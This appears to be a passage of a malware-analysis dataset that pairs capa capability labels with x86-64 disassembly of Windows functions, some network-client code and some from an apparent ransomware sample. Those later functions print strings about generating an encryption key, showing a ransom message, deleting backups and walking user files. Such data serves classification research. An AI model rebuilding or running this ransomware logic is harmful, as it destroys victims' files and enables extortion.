joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400915e0
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r14
sub rsp, 0x20
mov r14, rcx
mov ebx, 1
mov edx, ebx
xor ecx, ecx
xor ebp, ebp
call qword [0x1400e6030]
mov rdi, rax
test rax, rax
je 0x14009165d
nop word [rax + rax]
mov r8d, ebx
mov rdx, rdi
mov rcx, r14
mov rbp, rdi
mov esi, ebx
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
mov ebx, eax
test eax, eax
je 0x140091688
cmp ebx, esi
je 0x140091688
cmp ebx, 0x8000
ja 0x140091688
cmp ebx, esi
jb 0x140091683
mov edx, ebx
mov rcx, rdi
call qword [0x1400e6030]
mov rdi, rax
test rax, rax
jne 0x140091620
mov rcx, rbp
call qword [fcn.1400b5ae0]
xor eax, eax
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret
mov rax, rdi
jmp 0x140091668
mov rcx, rdi
jmp 0x140091660

Function at 0x140097c30
Capabilities:
Get local ipv4 addresses
Get socket information

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0xc0
mov rax, qword [0x1400e6080]
xor rax, rsp
mov qword [rsp + 0xb0], rax
mov rbp, qword [rcx + 0x4c8]
lea r8, [rsp + 0x20]
mov rsi, qword [rcx]
lea rdx, [rsp + 0x30]
mov rdi, rcx
mov dword [rsp + 0x20], 0x80
mov rcx, rbp
mov rbx, 0xffffffffffffffff
call qword [sym.imp.WS2_32.dll_getsockname]
test eax, eax
jne 0x140097caa
lea r8, [rsp + 0x20]
mov dword [rsp + 0x20], 0x80
lea rdx, [rsp + 0x30]
mov rcx, rbp
call qword [sym.imp.WS2_32.dll_accept]
mov rbx, rax
mov rdx, rbp
mov rcx, rdi
call fcn.14007c800
mov rcx, rsi
cmp rbx, 0xffffffffffffffff
jne 0x140097ccf
lea rdx, str.Error_accept__ing_server_connect
call fcn.14007bba0
lea eax, [rbx + 0x1f]
jmp 0x140097d48
lea rdx, str.Connection_accepted_from_server_n
call fcn.14007bd20
mov edx, 1
mov byte [rdi + 0x660], 0
mov rcx, rbx
mov qword [rdi + 0x4c8], rbx
call fcn.14008a330
mov byte [rdi + 0xb2c], 1
cmp qword [rsi + 0x728], 0
je 0x140097d46
mov dl, 1
mov rcx, rsi
call fcn.14006c530
mov rcx, qword [rsi + 0x730]
mov r8d, 1
mov rdx, rbx
call qword [rsi + 0x728]
xor edx, edx
mov rcx, rsi
mov ebx, eax
call fcn.14006c530
test ebx, ebx
je 0x140097d46
mov rcx, rdi
call fcn.140098260
mov eax, Ordinal_46
jmp 0x140097d48
xor eax, eax
mov rcx, qword [rsp + 0xb0]
xor rcx, rsp
call fcn.1400b4eb0
lea r11, [rsp + 0xc0]
mov rbx, qword [r11 + 0x18]
mov rbp, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop rdi
ret

Function at 0x140098d40
Capabilities:
Get local ipv4 addresses
Get socket information

Disassembly:
push rbx
sub rsp, 0x20
mov rax, qword [rcx]
mov rbx, rcx
add rcx, 0xa00
cmp byte [rax + 0xf09], 0
jne 0x140098d65
cmp dword [rax + 0x9f8], 0
je 0x140098d91
mov r8, qword [rcx + 0x88]
test r8, r8
je 0x140098d91
lea rdx, str.MDTM__s
call fcn.1400afd90
test eax, eax
jne 0x140098d9e
mov dword [rbx + 0xab8], 0x12
add rsp, 0x20
pop rbx
ret
mov rcx, rbx
add rsp, 0x20
pop rbx
jmp fcn.140099bd0
add rsp, 0x20
pop rbx
ret
Function at 0x140099550
Capabilities:
Get local ipv4 addresses
Get socket information

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, rcx
mov rcx, qword [rcx]
mov rax, qword [rcx + 0x1e0]
cmp dword [rax + 0x10], 0
je 0x140099588
mov r8d, reloc.WS2_32.dll_listen
mov dword [rbx + 0xab8], 0xd
mov dl, 1
mov rcx, rbx
add rsp, 0x20
pop rbx
jmp fcn.1400996a0
cmp byte [rcx + 0xf0e], 0
je 0x1400995a0
xor edx, edx
mov rcx, rbx
add rsp, 0x20
pop rbx
jmp fcn.14009a090
cmp byte [rcx + 0xf11], 0
je 0x140099641
mov r8, qword [rbx + 0xa88]
test r8, r8
jne 0x1400995fb
mov r8, qword [rcx + 0xc08]
test r8, r8
jne 0x1400995de
cmp byte [rcx + 0xf0d], 0
lea rax, str.NLST
lea r8, str.LIST
cmovne r8, rax
lea rcx, [rbx + 0xa00]
lea rdx, str.PRET__s
call fcn.1400afd90
test eax, eax
je 0x140099631
add rsp, 0x20
pop rbx
ret
cmp byte [rcx + 0xf1d], 0
lea rcx, [rbx + 0xa00]
je 0x140099621
lea rdx, str.PRET_STOR__s
call fcn.1400afd90
test eax, eax
je 0x140099631
add rsp, 0x20
pop rbx
ret
lea rdx, str.PRET_RETR__s
call fcn.1400afd90
test eax, eax
jne 0x14009964e
mov dword [rbx + 0xab8], 0x1d
add rsp, 0x20
pop rbx
ret
mov rcx, rbx
add rsp, 0x20
pop rbx
jmp fcn.14009a000
add rsp, 0x20
pop rbx
ret

Function at 0x140099990
Capabilities:
Get local ipv4 addresses
Get socket information

Disassembly:
push rbx
sub rsp, 0x20
mov rax, qword [rcx]
mov rbx, rcx
mov rdx, qword [rax + 0x1e0]
cmp dword [rdx + 0x10], 0
je 0x1400999dd
cmp qword [rcx + 0xa88], 0
je 0x1400999dd
add rcx, 0xa00
lea rdx, str.REST__d
xor r8d, r8d
call fcn.1400afd90
test eax, eax
jne 0x1400999e7
mov dword [rbx + 0xab8], 0x1a
add rsp, 0x20
pop rbx
ret
add rsp, 0x20
pop rbx
jmp fcn.140099550
add rsp, 0x20
pop rbx
ret

Function at 0x140099b70
Capabilities:
Get local ipv4 addresses
Get socket information

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, rcx
add rcx, 0xa00
mov rax, qword [rbx]
mov rdx, qword [rax + 0x1e0]
cmp dword [rdx + 0x10], 1
jne 0x140099bbc
mov r8, qword [rcx + 0x88]
test r8, r8
je 0x140099bbc
lea rdx, str.SIZE__s
call fcn.1400afd90
test eax, eax
jne 0x140099bc9
mov dword [rbx + 0xab8], 0x17
add rsp, 0x20
pop rbx
ret
mov rcx, rbx
add rsp, 0x20
pop rbx
jmp fcn.140099990
add rsp, 0x20
pop rbx
ret

Function at 0x140099bd0
Capabilities:
Get local ipv4 addresses
Get socket information

Disassembly:
mov r9, qword [rcx]
cmp byte [r9 + 0xf1c], 0
je 0x140099c28
cmp qword [rcx + 0xa88], 0
je 0x140099c28
cmp byte [r9 + 0xf0b], 0
mov eax, 0x41
mov edx, 0x49
cmovne edx, eax
movsx eax, byte [rcx + 0xaa8]
cmp eax, edx
je 0x140099c28
mov rax, qword [r9 + 0x1e0]
mov r8d, reloc.WS2_32.dll_send
mov dword [rax + 0x10], 1
movzx edx, byte [r9 + 0xf0b]
jmp fcn.140098470
jmp fcn.140099b70
Function at 0x140099c30
Capabilities:
Check http status code

Disassembly:
push rbx
push rsi
push rdi
sub rsp, 0x30
xor ebx, ebx
lea eax, [rdx - 0xc8]
mov rdi, rcx
mov rcx, qword [rcx]
mov esi, r8d
cmp eax, 0x64
jb 0x140099c65
lea rdx, str.Couldnt_set_desired_mode
call fcn.14007bba0
lea eax, [rbx + 0x11]
add rsp, 0x30
pop rdi
pop rsi
pop rbx
ret
cmp edx, 0xc8
je 0x140099c7c
mov r8d, edx
lea rdx, str.Got_a__03d_response_code_instead_of_the_assumed_200_n
call fcn.14007bd20
mov qword [rsp + 0x58], rbp
mov qword [rsp + 0x60], r14
cmp esi, 0x13
jne 0x140099c98
mov rcx, rdi
call fcn.140099b70
jmp 0x140099dcf
cmp esi, 0x14
jne 0x140099db1
mov rsi, qword [rdi]
mov rbp, rbx
cmp dword [rsi + 0xba0], 2
jne 0x140099d19
mov rax, qword [rsi + 0x1e0]
mov rdx, qword [rax]
test rdx, rdx
je 0x140099d19
mov byte [rsp + 0x28], 1
lea r9, [rsp + 0x50]
xor r8d, r8d
mov qword [rsp + 0x20], rbx
mov rcx, rsi
mov qword [rsp + 0x50], rbx
call fcn.140091720
test eax, eax
jne 0x140099dcf
mov rcx, qword [rsp + 0x50]
lea edx, [rax + 0x2f]
call sub.VCRUNTIME140.dll_strrchr
test rax, rax
je 0x140099d0e
mov rbp, qword [rsp + 0x50]
mov ecx, 1
sub rax, rbp
cmovne rcx, rax
mov byte [rcx + rbp], bl
jmp 0x140099d19
mov rcx, qword [rsp + 0x50]
call qword [fcn.1400b5ae0]
mov rdx, qword [rsi + 0xc08]
test rdx, rdx
jne 0x140099d3d
cmp byte [rsi + 0xf0d], bl
lea rax, str.NLST
lea rdx, str.LIST
cmovne rdx, rax
lea r8, [0x1400c78aa]
test rbp, rbp
mov r9, r8
lea rax, [0x1400d1854]
cmovne r9, rbp
lea rcx, [0x1400bd1c8]
cmovne r8, rax
call fcn.14006a460
mov rcx, rbp
mov r14, rax
call qword [fcn.1400b5ae0]
test r14, r14
jne 0x140099d7c
lea ebx, [r14 + 0x1b]
jmp 0x140099dd1
lea rcx, [rdi + 0xa00]
mov r8, r14
lea rdx, [0x1400cc518]
call fcn.1400afd90
mov rcx, r14
mov esi, eax
call qword [fcn.1400b5ae0]
test esi, esi
je 0x140099da5
mov ebx, esi
jmp 0x140099dd1
mov dword [rdi + 0xab8], 0x1f
jmp 0x140099dd1
cmp esi, 0x15
jne 0x140099dbc
lea r8d, [rsi - 8]
jmp 0x140099dc5
cmp esi, 0x16
jne 0x140099dd1
lea r8d, [rsi - 8]
mov dl, 1
mov rcx, rdi
call fcn.1400996a0
mov ebx, eax
mov r14, qword [rsp + 0x60]
mov eax, ebx
mov rbp, qword [rsp + 0x58]
add rsp, 0x30
pop rdi
pop rsi
pop rbx
ret
Function at 0x14009f6c0
Capabilities:
Write file on windows

Disassembly:
sub rsp, 0x38
cmp byte [rcx + 0xf1e], 0
movsxd r10, r9d
je 0x14009f7e4
cmp r8d, 0xff
jne 0x14009f721
lea eax, [r10 - 0xec]
cmp eax, 0x13
ja 0x14009f70b
lea r8, [0x140000000]
mov r9, qword [r8 + r10*8 + 0xc3570]
mov r8, rdx
lea rdx, str._s_IAC__s_n
add rsp, 0x38
jmp fcn.14007bd20
mov r8, rdx
mov r9d, r10d
lea rdx, str._s_IAC__d_n
add rsp, 0x38
jmp fcn.14007bd20
cmp r8d, 0xfb
jne 0x14009f733
lea r9, str.WILL
jmp 0x14009f771
cmp r8d, 0xfc
jne 0x14009f745
lea r9, str.WONT
jmp 0x14009f771
cmp r8d, 0xfd
jne 0x14009f757
lea r9, [0x1400c3f94]
jmp 0x14009f771
xor r9d, r9d
lea rax, str.DONT
cmp r8d, 0xfe
cmove r9, rax
test r9, r9
je 0x14009f7cd
cmp r10d, 0x27
jg 0x14009f7a4
lea r8, [0x140000000]
mov r8, qword [r8 + r10*8 + 0xc3b90]
test r8, r8
jne 0x14009f7b4
mov r8, rdx
mov dword [rsp + 0x20], r10d
lea rdx, str._s__s__d_n
call fcn.14007bd20
add rsp, 0x38
ret
cmp r10d, 0xff
jne 0x14009f78b
lea r8, str.EXOPL
mov qword [rsp + 0x20], r8
mov r8, rdx
lea rdx, str._s__s__s_n
call fcn.14007bd20
add rsp, 0x38
ret
mov r9d, r8d
mov dword [rsp + 0x20], r10d
mov r8, rdx
lea rdx, str._s__d__d_n
call fcn.14007bd20
add rsp, 0x38
ret

Function at 0x14009fb30
Capabilities:
Send data
Send data on socket

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x18], rbp
mov qword [rax + 0x20], rsi
push rdi
sub rsp, 0x20
mov rbp, qword [rcx]
mov edi, r8d
mov esi, edx
mov byte [rax + 0x10], 0xff
xor r9d, r9d
mov byte [rax + 0x11], sil
mov rbx, rcx
mov byte [rax + 0x12], dil
mov rcx, qword [rcx + 0x4c0]
lea rdx, [rax + 0x10]
lea r8d, [r9 + 3]
call qword [sym.imp.WS2_32.dll_send]
test eax, eax
jns 0x14009fb8f
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
lea rdx, str.Sending_data_failed___d_
mov rcx, rbp
mov r8d, eax
call fcn.14007bba0
mov rcx, qword [rbx]
lea rdx, str.SENT
mov r9d, edi
mov r8d, esi
call fcn.14009f6c0
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop rdi
ret
Function at 0x14009fd40
Capabilities:
Send data
Send data on socket

Disassembly:
cmp edx, 0x1f
jne 0x14009fee8
push rbp
push rdi
push r14
sub rsp, 0x20
mov rbp, qword [rcx]
mov r14, rcx
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x50], rsi
mov qword [rsp + 0x58], r15
mov rdi, qword [rbp + 0x1e0]
lea rsi, [rdi + 0x1cb8]
lea rbx, [rdi + 0x1eb8]
mov qword [rbx], rsi
cmp rsi, rbx
jae 0x14009fda5
lea rax, [rsi + 1]
mov byte [rsi], 0xff
mov qword [rbx], rax
cmp rax, rbx
jae 0x14009fda5
mov byte [rax], 0xfa
inc qword [rbx]
mov rax, qword [rbx]
cmp rax, rbx
jae 0x14009fda5
mov byte [rax], dl
inc qword [rbx]
movzx ecx, word [rdi + 0x1ca8]
call qword [sym.imp.WS2_32.dll_htons]
movzx ecx, word [rdi + 0x1caa]
movzx r15d, ax
mov word [rsp + 0x48], ax
call qword [sym.imp.WS2_32.dll_htons]
mov r9, qword [rbx]
movzx ecx, ax
cmp r9, rbx
jae 0x14009fddc
mov byte [r9], r15b
inc qword [rbx]
mov r9, qword [rbx]
mov r15, qword [rsp + 0x58]
cmp r9, rbx
jae 0x14009fe32
movzx eax, byte [rsp + 0x49]
mov byte [r9], al
inc qword [rbx]
mov r9, qword [rbx]
cmp r9, rbx
jae 0x14009fe32
mov byte [r9], cl
inc qword [rbx]
mov r9, qword [rbx]
cmp r9, rbx
jae 0x14009fe32
shr cx, 8
mov byte [r9], cl
inc qword [rbx]
mov r9, qword [rbx]
cmp r9, rbx
jae 0x14009fe32
mov byte [r9], 0xff
inc qword [rbx]
mov r9, qword [rbx]
cmp r9, rbx
jae 0x14009fe32
mov byte [r9], 0xf0
mov r9, qword [rbx]
inc r9
mov qword [rdi + 0x1ec0], r9
lea r8, [rdi + 0x1cba]
sub r9, rsi
mov qword [rbx], rsi
sub r9, 2
mov edx, 0x3e
mov rcx, rbp
call fcn.14009f7f0
mov rcx, qword [r14 + 0x4c0]
xor r9d, r9d
mov rdx, rsi
lea r8d, [r9 + 3]
call qword [sym.imp.WS2_32.dll_send]
mov rsi, qword [rsp + 0x50]
mov rbx, qword [rsp + 0x40]
test eax, eax
jns 0x14009fe94
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
lea rdx, str.Sending_data_failed___d_
mov rcx, rbp
mov r8d, eax
call fcn.14007bba0
lea rdx, [rdi + 0x1cbb]
mov r8d, 4
mov rcx, r14
call fcn.14009fbc0
mov rcx, qword [r14 + 0x4c0]
lea rdx, [rdi + 0x1cbf]
xor r9d, r9d
lea r8d, [r9 + 2]
call qword [sym.imp.WS2_32.dll_send]
test eax, eax
jns 0x14009fee0
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
lea rdx, str.Sending_data_failed___d_
mov rcx, rbp
mov r8d, eax
call fcn.14007bba0
add rsp, 0x20
pop r14
pop rdi
pop rbp
ret
Function at 0x1400a1650
Capabilities:
Receive data
Receive data on socket

Disassembly:
push rbx
push rdi
push r14
sub rsp, 0xd0
mov rax, qword [0x1400e6080]
xor rax, rsp
mov qword [rsp + 0xc0], rax
mov rbx, qword [rcx + 0xa00]
lea rax, [rsp + 0x30]
mov rdi, qword [rcx]
mov r14, rcx
mov dword [rsp + 0x30], 0x80
xor r9d, r9d
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x40]
mov r8d, dword [rbx + 0x15c]
mov rdx, qword [rbx + 0x168]
add r8d, 4
mov rcx, qword [rbx + 0x18]
mov qword [rsp + 0x20], rax
call qword [sym.imp.WS2_32.dll_recvfrom]
cmp dword [rbx + 0x150], 0
mov dword [rbx + 0x154], eax
jne 0x1400a16e5
movsxd r8, dword [rsp + 0x30]
lea rcx, [rbx + 0xd0]
lea rdx, [rsp + 0x40]
call sub.VCRUNTIME140.dll_memcpy
mov eax, dword [rsp + 0x30]
mov dword [rbx + 0x150], eax
mov r8d, dword [rbx + 0x154]
mov qword [rsp + 0xf8], rbp
mov qword [rsp + 0x100], rsi
cmp r8d, 4
jge 0x1400a1746
lea rdx, str.Received_too_short_packet
mov rcx, rdi
call fcn.14007bba0
mov dword [rbx + 0xc], 7
xor eax, eax
mov rsi, qword [rsp + 0x100]
mov rbp, qword [rsp + 0xf8]
mov rcx, qword [rsp + 0xc0]
xor rcx, rsp
call fcn.1400b4eb0
add rsp, 0xd0
pop r14
pop rdi
pop rbx
ret
mov rdx, qword [rbx + 0x168]
movzx eax, byte [rdx]
movzx ecx, byte [rdx + 1]
shl eax, 8
or ecx, eax
mov dword [rbx + 0xc], ecx
sub ecx, 3
je 0x1400a1801
sub ecx, 1
je 0x1400a1874
sub ecx, 1
je 0x1400a17b0
cmp ecx, 1
je 0x1400a1793
lea r8, str.Internal_error:_Unexpected_packet
mov rcx, rdi
lea rdx, [0x1400cc518]
call fcn.14007bba0
jmp 0x1400a1874
add r8d, 0xfffffffe
add rdx, 2
mov rcx, rbx
call fcn.1400a1380
test eax, eax
je 0x1400a1874
jmp 0x1400a171a
movzx ecx, byte [rdx + 2]
lea eax, [r8 - 4]
movsxd rbp, eax
lea rsi, [rdx + 4]
movzx eax, byte [rdx + 3]
mov r8, rbp
shl ecx, 8
xor edx, edx
or ecx, eax
mov dword [rbx + 8], ecx
mov rcx, rsi
call sub.VCRUNTIME140.dll_memchr
test rax, rax
je 0x1400a1874
sub rax, rsi
cmp rax, rbp
jae 0x1400a1874
mov r8, rsi
lea rdx, str.TFTP_error:__s_n
mov rcx, rdi
call fcn.14007bd20
jmp 0x1400a1874
cmp r8d, 4
jle 0x1400a1874
movzx eax, byte [rdx + 3]
movzx ecx, byte [rdx + 2]
shl ecx, 8
or ecx, eax
movzx eax, word [rbx + 0x48]
inc eax
movzx eax, ax
cmp eax, ecx
jne 0x1400a1874
lea eax, [r8 - 4]
mov rcx, r14
lea r8, [rdx + 4]
movsxd r9, eax
mov edx, 1
call fcn.14007bac0
mov esi, eax
test eax, eax
je 0x1400a1853
mov edx, 5
mov rcx, rbx
call fcn.1400a2340
mov eax, esi
jmp 0x1400a171a
mov eax, dword [rbx + 0x154]
mov rcx, rdi
sub eax, 4
cdqe
add qword [rdi + 0xf8], rax
mov rdx, qword [rdi + 0xf8]
call fcn.14008a5a0
mov rcx, r14
call fcn.14008a880
test eax, eax
je 0x1400a1718
mov edx, 5
mov rcx, rbx
call fcn.1400a2340
mov eax, Ordinal_46
jmp 0x1400a171a
Function at 0x1400b4610
Capabilities:
Authenticate hmac
Encode data using xor

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rdi
push r14
sub rsp, 0x20
mov eax, dword [rcx + 0x18]
mov rbx, rcx
mov ebp, r8d
mov r14, rdx
lea ecx, [rax + rax]
mov eax, dword [rbx + 0x20]
add rax, 0x18
add rcx, rax
call qword [sub.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rdi, rax
test rax, rax
jne 0x1400b4652
mov rbx, qword [rsp + 0x50]
add rsp, 0x20
pop r14
pop rdi
pop rbp
ret
lea rcx, [rax + 0x18]
mov qword [rax], rbx
mov qword [rax + 8], rcx
mov eax, dword [rbx + 0x18]
add rax, rcx
mov qword [rsp + 0x48], rsi
mov qword [rdi + 0x10], rax
cmp ebp, dword [rbx + 0x1c]
jbe 0x1400b4699
call qword [rbx]
mov rcx, qword [rdi + 8]
mov r8d, ebp
mov rdx, r14
call qword [rbx + reloc.WS2_32.dll_htonl]
mov r14d, dword [rbx + 0x18]
add r14, qword [rdi + 0x10]
mov rdx, qword [rdi + 8]
mov rcx, r14
call qword [rbx + reloc.WS2_32.dll_recv]
mov rcx, qword [rdi + 8]
mov ebp, dword [rbx + 0x20]
call qword [rbx]
mov rcx, qword [rdi + 0x10]
call qword [rbx]
xor esi, esi
test rbp, rbp
je 0x1400b46f2
mov rsi, rbp
nop dword [rax + rax]
movzx eax, byte [r14]
lea rdx, [rsp + 0x40]
xor al, 0x36
mov r8d, 1
mov byte [rsp + 0x40], al
mov rcx, qword [rdi + 8]
call qword [rbx + reloc.WS2_32.dll_htonl]
movzx eax, byte [r14]
lea rdx, [rsp + 0x40]
xor al, 0x5c
lea r14, [r14 + 1]
mov byte [rsp + 0x40], al
mov r8d, 1
mov rcx, qword [rdi + 0x10]
call qword [rbx + reloc.WS2_32.dll_htonl]
sub rbp, 1
jne 0x1400b46b0
mov eax, dword [rbx + 0x1c]
cmp rsi, rax
jae 0x1400b4733
nop word [rax + rax]
mov rcx, qword [rdi + 8]
lea rdx, [0x1400c7132]
mov r8d, 1
call qword [rbx + reloc.WS2_32.dll_htonl]
mov rcx, qword [rdi + 0x10]
lea rdx, [0x1400c7133]
mov r8d, 1
call qword [rbx + reloc.WS2_32.dll_htonl]
mov eax, dword [rbx + 0x1c]
inc rsi
cmp rsi, rax
jb 0x1400b4700
mov rsi, qword [rsp + 0x48]
mov rax, rdi
mov rbx, qword [rsp + 0x50]
add rsp, 0x20
pop r14
pop rdi
pop rbp
ret

Function at 0x1400b56d8
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400b5722
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400b5722
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400b5722
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400b5722
cmp dword [rcx + 0x84], 0xe
jbe 0x1400b5722
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400b5724
xor al, al
add rsp, 0x28
ret
Function at 0x1400021b0
Capabilities:
Create process on windows

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0xf8
mov r8d, 0x68
xor edx, edx
lea rcx, [rsp + 0x80]
call fcn.140043170
mov dword [rsp + 0x80], 0x68
mov r8d, 0x18
xor edx, edx
lea rcx, [rsp + 0x60]
call fcn.140043170
mov rcx, qword [rsp + 0x100]
call fcn.140011600
mov qword [rsp + 0x58], rax
lea rax, [rsp + 0x60]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x80]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, qword [rsp + 0x58]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
jne 0x14000228e
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x50], eax
lea rdx, str.CreateProcess_failed:
lea rcx, [0x14005db60]
call fcn.1400040f0
mov ecx, dword [rsp + 0x50]
mov edx, ecx
mov rcx, rax
call fcn.14000b1f0
lea rdx, [0x140008100]
mov rcx, rax
call fcn.14000b1d0
xor al, al
jmp 0x1400022b6
mov edx, 0xffffffff
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
add rsp, 0xf8
ret
Function at 0x140002900
Capabilities:
Get mac address on windows

Disassembly:
mov eax, 0x2c88
call fcn.14001d1e0
sub rsp, rax
mov rax, qword [0x14005b0c0]
xor rax, rsp
mov qword [rsp + 0x2c70], rax
lea rcx, str.Getting_mac_addr_..._n
call fcn.140015b30
mov ecx, 0x20
call fcn.14001ce88
mov qword [rsp + 0x58], rax
mov rax, qword [rsp + 0x58]
mov qword [rsp + 0x50], rax
mov r8d, 0x20
xor edx, edx
mov rcx, qword [rsp + 0x50]
call fcn.140043170
mov dword [rsp + 0x48], 0x2c00
lea rdx, [rsp + 0x48]
lea rcx, [rsp + 0x70]
call qword [sym.imp.IPHLPAPI.DLL_GetAdaptersInfo]
mov dword [rsp + 0x4c], eax
cmp dword [rsp + 0x4c], 0
je 0x140002980
xor eax, eax
jmp 0x140002a4f
lea rax, [rsp + 0x70]
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
add rax, 0x198
mov qword [rsp + 0x60], rax
mov eax, 1
imul rax, rax, 5
mov rcx, qword [rsp + 0x40]
movzx eax, byte [rcx + rax + 0x198]
mov ecx, 1
imul rcx, rcx, 4
mov rdx, qword [rsp + 0x40]
movzx ecx, byte [rdx + rcx + 0x198]
mov edx, 1
imul rdx, rdx, 3
mov r8, qword [rsp + 0x40]
movzx edx, byte [r8 + rdx + 0x198]
mov r8d, 1
imul r8, r8, 2
mov r9, qword [rsp + 0x40]
movzx r8d, byte [r9 + r8 + 0x198]
mov r9d, 1
imul r9, r9, 1
mov r10, qword [rsp + 0x40]
movzx r9d, byte [r10 + r9 + 0x198]
mov r10d, 1
imul r10, r10, 0
mov r11, qword [rsp + 0x40]
movzx r10d, byte [r11 + r10 + 0x198]
mov dword [rsp + 0x38], eax
mov dword [rsp + 0x30], ecx
mov dword [rsp + 0x28], edx
mov dword [rsp + 0x20], r8d
mov r8d, r10d
lea rdx, str._.2X__.2X__.2X__.2X__.2X__.2X
mov rcx, qword [rsp + 0x50]
call fcn.140015b90
mov rax, qword [rsp + 0x50]
mov rcx, qword [rsp + 0x2c70]
xor rcx, rsp
call fcn.14001d240
add rsp, 0x2c88
ret

Function at 0x140002a70
Capabilities:
Get hostname

Disassembly:
sub rsp, 0x48
lea rcx, str.Getting_computer_name_..._n
call fcn.140015b30
mov ecx, 0x41
call fcn.14001ce88
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0x40
mov r8d, 0x41
xor edx, edx
mov rcx, qword [rsp + 0x28]
call fcn.140043170
lea rdx, [rsp + 0x20]
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_GetComputerNameA]
mov rax, qword [rsp + 0x28]
add rsp, 0x48
ret
Function at 0x140003010
Capabilities:
Delete file

Disassembly:
sub rsp, 0x108
mov rax, qword [0x14005b0c0]
xor rax, rsp
mov qword [rsp + 0xf0], rax
lea rcx, str.Generating_Encryption_Key_..._n
call fcn.140015b30
call fcn.140002ae0
mov qword [rsp + 0x38], rax
lea rcx, str.Displaying_ransom_message_..._n
call fcn.140015b30
call fcn.140001b90
call fcn.140001d00
call fcn.140002370
movzx eax, al
test eax, eax
jne 0x140003083
lea rdx, str.____Failed_to_delete_backups.
lea rcx, [0x14005d910]
call fcn.140003990
lea rdx, [0x1400080b0]
mov rcx, rax
call fcn.14000b1d0
lea rcx, str.Getting_files_..._n
call fcn.140015b30
lea rax, [rsp + 0x70]
mov qword [rsp + 0x28], rax
lea rdx, str.C:Users
mov rcx, qword [rsp + 0x28]
call fcn.140008f90
mov qword [rsp + 0x30], rax
mov rdx, qword [rsp + 0x30]
lea rcx, [rsp + 0x48]
call fcn.140001560
nop
lea rdx, [rsp + 0x20]
lea rcx, [rsp + 0x48]
call fcn.140011550
jmp 0x1400030e2
xor r8d, r8d
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x20]
call fcn.14000b660
lea rdx, [rsp + 0x68]
lea rcx, [rsp + 0x48]
call fcn.140013160
mov rdx, rax
lea rcx, [rsp + 0x20]
call fcn.14000b4f0
movzx eax, al
test eax, eax
je 0x1400032bd
lea rcx, [rsp + 0x20]
call fcn.14000b620
mov rdx, rax
lea rcx, [rsp + 0xb0]
call fcn.140008f20
nop
lea rcx, [rsp + 0x20]
call fcn.14000b620
lea r8, [0x140047440]
mov rdx, rax
lea rcx, [rsp + 0xd0]
call fcn.140004630
nop
lea rcx, [rsp + 0x20]
call fcn.14000b620
mov rdx, rax
lea rcx, [rsp + 0x90]
call fcn.140008f20
nop
lea rcx, [rsp + 0x90]
call fcn.1400115e0
mov rcx, rax
call qword [sym.imp.SHLWAPI.dll_PathFindExtensionA]
mov rdx, rax
lea rcx, [rsp + 0x90]
call fcn.14000b0c0
lea rdx, [0x14004744c]
lea rcx, [rsp + 0x90]
call fcn.140004500
movzx eax, al
test eax, eax
je 0x14000328f
lea rdx, str..dll
lea rcx, [rsp + 0x90]
call fcn.140004500
movzx eax, al
test eax, eax
je 0x14000328f
lea rdx, str..sys
lea rcx, [rsp + 0x90]
call fcn.140004500
movzx eax, al
test eax, eax
je 0x14000328f
lea rdx, str..ps1
lea rcx, [rsp + 0x90]
call fcn.140004500
movzx eax, al
test eax, eax
je 0x14000328f
lea rdx, str..secdojo
lea rcx, [rsp + 0x90]
call fcn.140004500
movzx eax, al
test eax, eax
je 0x14000328f
lea rdx, str..lnk
lea rcx, [rsp + 0x90]
call fcn.140004500
movzx eax, al
test eax, eax
je 0x14000328f
mov ecx, 2
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rsp + 0xd0]
call fcn.1400115e0
mov qword [rsp + 0x40], rax
